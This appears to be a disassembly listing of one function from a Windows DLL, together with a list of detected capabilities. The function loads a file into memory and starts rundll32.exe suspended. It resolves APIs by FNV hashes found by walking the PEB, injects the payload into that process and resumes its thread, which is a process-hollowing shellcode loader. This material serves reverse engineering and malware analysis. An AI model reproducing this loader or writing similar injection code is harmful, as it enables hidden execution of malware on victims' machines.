Function at 0x180001e50
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x740]
sub rsp, 0x840
xor r13d, r13d
mov dword [rbp + 0x780], r13d
lea rcx, [rbp + 0x130]
call fcn.180003e50
nop
lea rdx, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
cmp qword [rbp + 0x1c0], r13
jne 0x180001e9f
lea esi, [r13 + 1]
jmp 0x1800023d7
lea rcx, [0x180000000]
lea rax, [rcx + 0x326e0]
mov qword [rbp - 0x40], rax
lea rax, [rcx + 0x325a0]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x88], r13
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
mov esi, 1
mov dword [rbp + 0x780], esi
mov qword [rbp + 0x58], rdx
mov dword [rbp + 0x54], 0x80
mov qword [rbp - 0x38], r13
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x58]
call fcn.180004e50
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x20]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x28]
call fcn.180004dc0
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x40], r13
mov dword [rbp + 0x48], r13d
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x30]
call fcn.180002d60
nop
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov dword [rbp + 0x780], 0x21
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov ecx, dword [rbp + 0x48]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x180001fea
mov rax, qword [rbp + 0x18]
mov r8, qword [rax]
test r8, r8
je 0x180001fea
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x40]
cmovb r8, qword [rbp + 0x40]
sub r8, rdx
jmp 0x180002019
test cl, 4
jne 0x180002011
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x180002011
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x180002019
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x180002028
lea rcx, [rbp - 0x80]
call fcn.180004ae0
nop
lea rcx, [rbp + 0x140]
call fcn.180004920
mov esi, 2
test rax, rax
jne 0x180002078
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x178], 0
cmovne eax, esi
or eax, dword [rbp + rcx + 0x140]
and eax, 0x17
mov dword [rbp + rcx + 0x140], eax
and eax, dword [rbp + rcx + 0x144]
jne 0x180002484
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x68]
call fcn.180001ca0
nop
mov r15, qword [rsp + 0x70]
sub r15, qword [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x180002347
mov r8, r15
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180008820
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
mov dword [rbp + 0x124], eax
mov dword [rbp + 0xc0], 0x68
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov esi, 4
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180002152
lea esi, [rax + 3]
jmp 0x180002347
mov dword [rbp + 0x2a0], 0x10000b
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800021f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800021f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xa1d14549
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800021f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800021d0
cmp r8d, 0x87681f60
je 0x1800021fb
test r9d, r9d
jne 0x1800021b0
mov rax, qword [rax]
jmp 0x180002180
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r15
xor edx, edx
mov rcx, qword [rsp + 0x50]
call r10
mov r14, rax
test rax, rax
je 0x180002347
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800022c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800022c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r11]
add rcx, r11
mov r8d, 0x20dd4629
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800022c1
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1800022a0
cmp r8d, 0x7bc7c8b6
je 0x1800022cb
test r9d, r9d
jne 0x180002280
mov rax, qword [rax]
jmp 0x180002250
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x20], r13
mov r9, r15
mov r8, r12
mov rdx, r14
mov rcx, qword [rsp + 0x50]
call r10
mov qword [rbp + 0x368], r14
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, r13d
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x180002391
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000237e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800024d2
call fcn.1800068f8
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800023cd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800023c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000247e
call fcn.1800068f8
nop
lea rcx, [rbp - 0x40]
call fcn.180002580
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x140]
call fcn.180003b90
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rcx, qword [rbp + 0x130]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx + 0x12c], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call fcn.180006024
nop
mov eax, esi
mov rbx, qword [rsp + 0x890]
add rsp, 0x840
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18000f764
nop
test al, 4
je 0x180002491
lea rdx, str.ios_base::badbit_set
jmp 0x1800024a6
test sil, al
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1800012e0
mov r8, rax
lea rcx, [rbp + 0x240]
call fcn.180001b40
lea rdx, [0x180036648]
lea rcx, [rbp + 0x240]
call fcn.180008750
int3
call fcn.18000f764
int3